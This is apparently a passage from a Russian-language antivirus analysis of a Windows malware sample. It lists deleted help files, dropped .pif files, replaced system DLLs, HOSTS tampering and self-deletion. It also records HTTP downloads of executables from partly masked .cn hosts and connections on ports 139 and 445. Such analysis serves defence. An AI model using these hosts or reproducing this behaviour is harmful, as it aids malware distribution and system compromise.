  • %WINDIR%\Help\scmconcepts.chm
  • %WINDIR%\Help\sc.chm
  • %WINDIR%\Help\scarddlg.hlp
  • %WINDIR%\Help\sce.chm
  • %WINDIR%\Help\secsettings.chm
  • %WINDIR%\Help\sendcmsg.chm
  • %WINDIR%\Help\sendcmsg.hlp
  • %WINDIR%\Help\secauth.hlp
  • %WINDIR%\Help\secedit.chm
  • %WINDIR%\Help\secsetconcepts.chm
  • %WINDIR%\Help\sysmon.chm
  • %WINDIR%\Help\sysmon.hlp
  • %WINDIR%\Help\sysprop.chm
  • %WINDIR%\Help\suptools.chm
  • %WINDIR%\Help\sysdm.chm
  • %WINDIR%\Help\sysdm.hlp
  • %WINDIR%\Help\sys_srv.chm
  • %WINDIR%\Help\tapi.chm
  • %WINDIR%\Help\tapi.hlp
  • %WINDIR%\Help\sysrestore.chm
  • %WINDIR%\Help\sysrestore.hlp
  • %WINDIR%\Help\system.chm
  • %WINDIR%\Help\supp_ed.chm
  • %WINDIR%\Help\spad.chm
  • %WINDIR%\Help\spconcepts.chm
  • %WINDIR%\Help\speech.chm
  • %WINDIR%\Help\soundrec.chm
  • %WINDIR%\Help\soundrec.hlp
  • %WINDIR%\Help\sounds.chm
  • %WINDIR%\Help\spolsconcepts.chm
  • %WINDIR%\Help\sr_ui.chm
  • %WINDIR%\Help\sstub.dll
  • %WINDIR%\Help\spider.chm
  • %WINDIR%\Help\spider.hlp
  • %WINDIR%\Help\splash.chm
  • %WINDIR%\Help\mouse.chm
  • %WINDIR%\Help\clipbrd.chm
  • %WINDIR%\Help\clipbrd.hlp
  • %WINDIR%\Help\cmconcepts.chm
  • %WINDIR%\Help\chooser.hlp
  • %WINDIR%\Help\ciadmin.htm
  • %WINDIR%\Help\ciquery.htm
  • %WINDIR%\Help\common.chm
  • %WINDIR%\Help\compfldr.chm
  • %WINDIR%\Help\compmgmt.chm
  • %WINDIR%\Help\colormgt.chm
  • %WINDIR%\Help\comexp.chm
  • %WINDIR%\Help\comexp.hlp
  • %WINDIR%\Help\chnscsvr.hlp
  • %WINDIR%\Help\camera.chm
  • %WINDIR%\Help\camera.hlp
  • %WINDIR%\Help\cdmedia.chm
  • %WINDIR%\Help\brief.chm
  • %WINDIR%\Help\calc.chm
  • %WINDIR%\Help\calc.hlp
  • %WINDIR%\Help\charmap.chm
  • %WINDIR%\Help\charmap.hlp
  • %WINDIR%\Help\chkr.chm
  • %WINDIR%\Help\cdmedia.hlp
  • %WINDIR%\Help\certmgr.chm
  • %WINDIR%\Help\certmgr.hlp
  • %WINDIR%\Help\defrag.hlp
  • %WINDIR%\Help\devmgr.chm
  • %WINDIR%\Help\devmgr.hlp
  • %WINDIR%\Help\ddeshare.chm
  • %WINDIR%\Help\ddeshare.hlp
  • %WINDIR%\Help\defrag.chm
  • %WINDIR%\Help\dialer.hlp
  • %WINDIR%\Help\digiras.chm
  • %WINDIR%\Help\dijoy.hlp
  • %WINDIR%\Help\dfs.hlp
  • %WINDIR%\Help\diagboot.chm
  • %WINDIR%\Help\dialer.chm
  • %WINDIR%\Help\datetime.chm
  • %WINDIR%\Help\conf.hlp
  • %WINDIR%\Help\conf1.chm
  • %WINDIR%\Help\connect.cnt
  • %WINDIR%\Help\compstui.hlp
  • %WINDIR%\Help\conf.chm
  • %WINDIR%\Help\conf.cnt
  • %WINDIR%\Help\cscui.hlp
  • %WINDIR%\Help\cyycoins.chm
  • %WINDIR%\Help\cyzcoins.chm
  • %WINDIR%\Help\connect.hlp
  • %WINDIR%\Help\cpanel.chm
  • %WINDIR%\Help\cpanel.chq
  • %WINDIR%\Help\aclui.hlp
  • %WINDIR%\Help\addremov.chm
  • %WINDIR%\Help\ade.hlp
  • %WINDIR%\Help\accessib.chm
  • %WINDIR%\Help\acc_dis.chm
  • %WINDIR%\Help\aclui.chm
  • %WINDIR%\Help\agt0406.hlp
  • %WINDIR%\Help\agt0407.hlp
  • %WINDIR%\Help\agt0408.hlp
  • %WINDIR%\Help\admtools.chm
  • %WINDIR%\Help\adprop.hlp
  • %WINDIR%\Help\agt0405.hlp
  • %WINDIR%\Help\access.hlp
  • %TEMP%\DEkThm27ae.pif
  • %TEMP%\djR2UcWPIv.pif
  • %TEMP%\Kn45uvrGhU.pif
  • %TEMP%\3vjJ9v7UDs.pif
  • %TEMP%\666kbwxJAP.pif
  • %TEMP%\c6d_appcompat.txt
  • %TEMP%\wr6a4GDx3z.pif
  • %TEMP%\XNz1qQIlwM.pif
  • %WINDIR%\Help\access.chm
  • %TEMP%\nSdQuG1bCx.pif
  • %TEMP%\QAPOdbQLp6.pif
  • %TEMP%\qt0XvHr0AU.pif
  • %WINDIR%\Help\article.chm
  • %WINDIR%\Help\atm.chm
  • %WINDIR%\Help\audiocdc.hlp
  • %WINDIR%\Help\agt0c0a.hlp
  • %WINDIR%\Help\apps.chm
  • %WINDIR%\Help\apps_sp.chm
  • %WINDIR%\Help\blutooth.chm
  • %WINDIR%\Help\bnts.dll
  • %WINDIR%\Help\bootcons.chm
  • %WINDIR%\Help\audit.chm
  • %WINDIR%\Help\bckg.chm
  • %WINDIR%\Help\blurbs.chm
  • %WINDIR%\Help\agt0816.hlp
  • %WINDIR%\Help\agt040e.hlp
  • %WINDIR%\Help\agt0410.hlp
  • %WINDIR%\Help\agt0413.hlp
  • %WINDIR%\Help\agt0409.hlp
  • %WINDIR%\Help\agt040b.hlp
  • %WINDIR%\Help\agt040c.hlp
  • %WINDIR%\Help\agt0419.hlp
  • %WINDIR%\Help\agt041d.hlp
  • %WINDIR%\Help\agt041f.hlp
  • %WINDIR%\Help\agt0414.hlp
  • %WINDIR%\Help\agt0415.hlp
  • %WINDIR%\Help\agt0416.hlp
  • %WINDIR%\Help\intellimirror.chm
  • %WINDIR%\Help\ipsecconcepts.chm
  • %WINDIR%\Help\ipsecsnp.chm
  • %WINDIR%\Help\infrared.hlp
  • %WINDIR%\Help\input.chm
  • %WINDIR%\Help\input.hlp
  • %WINDIR%\Help\isconcepts.chm
  • %WINDIR%\Help\ixhelp.hlp
  • %WINDIR%\Help\ixqlang.htm
  • %WINDIR%\Help\ipsecsnp.hlp
  • %WINDIR%\Help\Ipv6.chm
  • %WINDIR%\Help\is.chm
  • %WINDIR%\Help\infrared.chm
  • %WINDIR%\Help\ieshared.chm
  • %WINDIR%\Help\iesupp.chm
  • %WINDIR%\Help\iewebhlp.chm
  • %WINDIR%\Help\ieakmmc.chm
  • %WINDIR%\Help\ieeula.chm
  • %WINDIR%\Help\ieos.chm
  • %WINDIR%\Help\iismmc.chm
  • %WINDIR%\Help\imgprev.chm
  • %WINDIR%\Help\inetres.chm
  • %WINDIR%\Help\iexplore.chm
  • %WINDIR%\Help\iexplore.hlp
  • %WINDIR%\Help\iis.chm
  • %WINDIR%\Help\migwiz2.htm
  • %WINDIR%\Help\misc.chm
  • %WINDIR%\Help\mls_trb.chm
  • %WINDIR%\Help\mail.chm
  • %WINDIR%\Help\mfcuix.hlp
  • %WINDIR%\Help\migwiz.htm
  • %WINDIR%\Help\mobsync.hlp
  • %WINDIR%\Help\mode.chm
  • %WINDIR%\Help\modem.hlp
  • %WINDIR%\Help\mmc.chm
  • %WINDIR%\Help\mmc_dlg.hlp
  • %WINDIR%\Help\mobsync.chm
  • %WINDIR%\Help\magnify.hlp
  • %WINDIR%\Help\keyshort.chm
  • %WINDIR%\Help\lang.chm
  • %WINDIR%\Help\langbar.chm
  • %WINDIR%\Help\joy.chm
  • %WINDIR%\Help\key.chm
  • %WINDIR%\Help\keyb.chm
  • %WINDIR%\Help\lpe.chm
  • %WINDIR%\Help\lpeconcepts.chm
  • %WINDIR%\Help\magnify.chm
  • %WINDIR%\Help\license.chm
  • %WINDIR%\Help\localsec.chm
  • %WINDIR%\Help\localsec.hlp
  • %WINDIR%\Help\eudcedit.hlp
  • %WINDIR%\Help\evconcepts.chm
  • %WINDIR%\Help\evntwin.hlp
  • %WINDIR%\Help\els.hlp
  • %WINDIR%\Help\encrypt.chm
  • %WINDIR%\Help\eudcedit.chm
  • %WINDIR%\Help\filemgmt.hlp
  • %WINDIR%\Help\file_srv.chm
  • %WINDIR%\Help\find.chm
  • %WINDIR%\Help\fde.hlp
  • %WINDIR%\Help\filefold.chm
  • %WINDIR%\Help\filefold.hlp
  • %WINDIR%\Help\els.chm
  • %WINDIR%\Help\display.hlp
  • %WINDIR%\Help\dkconcepts.chm
  • %WINDIR%\Help\drvvfp.chm
  • %WINDIR%\Help\diskmgmt.chm
  • %WINDIR%\Help\diskmgmt.hlp
  • %WINDIR%\Help\display.chm
  • %WINDIR%\Help\dskquoui.chm
  • %WINDIR%\Help\dskquoui.hlp
  • %WINDIR%\Help\dxdiag.chm
  • %WINDIR%\Help\drwtsn32.chm
  • %WINDIR%\Help\drwtsn32.hlp
  • %WINDIR%\Help\dsclient.hlp
  • %WINDIR%\Help\hardware.hlp
  • %WINDIR%\Help\howto.chm
  • %WINDIR%\Help\hrtz.chm
  • %WINDIR%\Help\gptext.hlp
  • %WINDIR%\Help\halftone.hlp
  • %WINDIR%\Help\hardware.chm
  • %WINDIR%\Help\hypertrm.hlp
  • %WINDIR%\Help\icwdial.chm
  • %WINDIR%\Help\ident.hlp
  • %WINDIR%\Help\hs.chm
  • %WINDIR%\Help\hschelp.chm
  • %WINDIR%\Help\hypertrm.chm
  • %WINDIR%\Help\gpedit.hlp
  • %WINDIR%\Help\freecell.chm
  • %WINDIR%\Help\freecell.hlp
  • %WINDIR%\Help\fxsclnt.chm
  • %WINDIR%\Help\folderop.chm
  • %WINDIR%\Help\fonts.chm
  • %WINDIR%\Help\fonts.hlp
  • %WINDIR%\Help\gen.chm
  • %WINDIR%\Help\Glossary.chm
  • %WINDIR%\Help\gpedit.chm
  • %WINDIR%\Help\fxsclnt.hlp
  • %WINDIR%\Help\fxscover.chm
  • %WINDIR%\Help\fxsshare.chm
Перемещает следующие файлы:
  • %WINDIR%\Help\sstub.dll.new в %WINDIR%\Help\sstub.dll
  • %WINDIR%\Help\sniffpol.dll.new в %WINDIR%\Help\sniffpol.dll
  • %WINDIR%\Help\tshoot.dll.new в %WINDIR%\Help\tshoot.dll
  • <SYSTEM32>\dllcache\bnts.dll.new в <SYSTEM32>\dllcache\bnts.dll
  • <SYSTEM32>\dllcache\apps.chm.new в <SYSTEM32>\dllcache\apps.chm
  • <SYSTEM32>\dllcache\sstub.dll.new в <SYSTEM32>\dllcache\sstub.dll
  • <SYSTEM32>\dllcache\sniffpol.dll.new в <SYSTEM32>\dllcache\sniffpol.dll
  • <SYSTEM32>\dllcache\tshoot.dll.new в <SYSTEM32>\dllcache\tshoot.dll
  • %WINDIR%\Help\bnts.dll.new в %WINDIR%\Help\bnts.dll
  • %WINDIR%\Help\apps.chm.new в %WINDIR%\Help\apps.chm
Изменяет файл HOSTS.
Самоудаляется.
Сетевая активность:
Подключается к:
  • '<IP-адрес в локальной сети>':139
  • 'gr##.woxwngw.cn':80
  • 'wm.##gwda.cn':80
  • 'localhost':1037
  • '<IP-адрес в локальной сети>':445
  • '<IP-адрес в локальной сети>':80
TCP:
Запросы HTTP GET:
  • wm.##gwda.cn/7.exe
  • wm.##gwda.cn/6.exe
  • wm.##gwda.cn/5.exe
  • wm.##gwda.cn/10.exe
  • wm.##gwda.cn/9.exe
  • wm.##gwda.cn/8.exe
  • wm.##gwda.cn/4.exe
  • gr##.woxwngw.cn/tj/ct.asp?ma####################
  • gr##.woxwngw.cn/arp.exe
  • gr##.woxwngw.cn/wincap.exe
  • wm.##gwda.cn/2.exe
  • wm.##gwda.cn/1.exe
  • wm.##gwda.cn/3.exe
UDP:
  • DNS ASK wm.##gwda.cn
  • DNS ASK gr##.woxwngw.cn
Другое:
Ищет следующие окна:
  • ClassName: 'AfxControlBar42s' WindowName: ''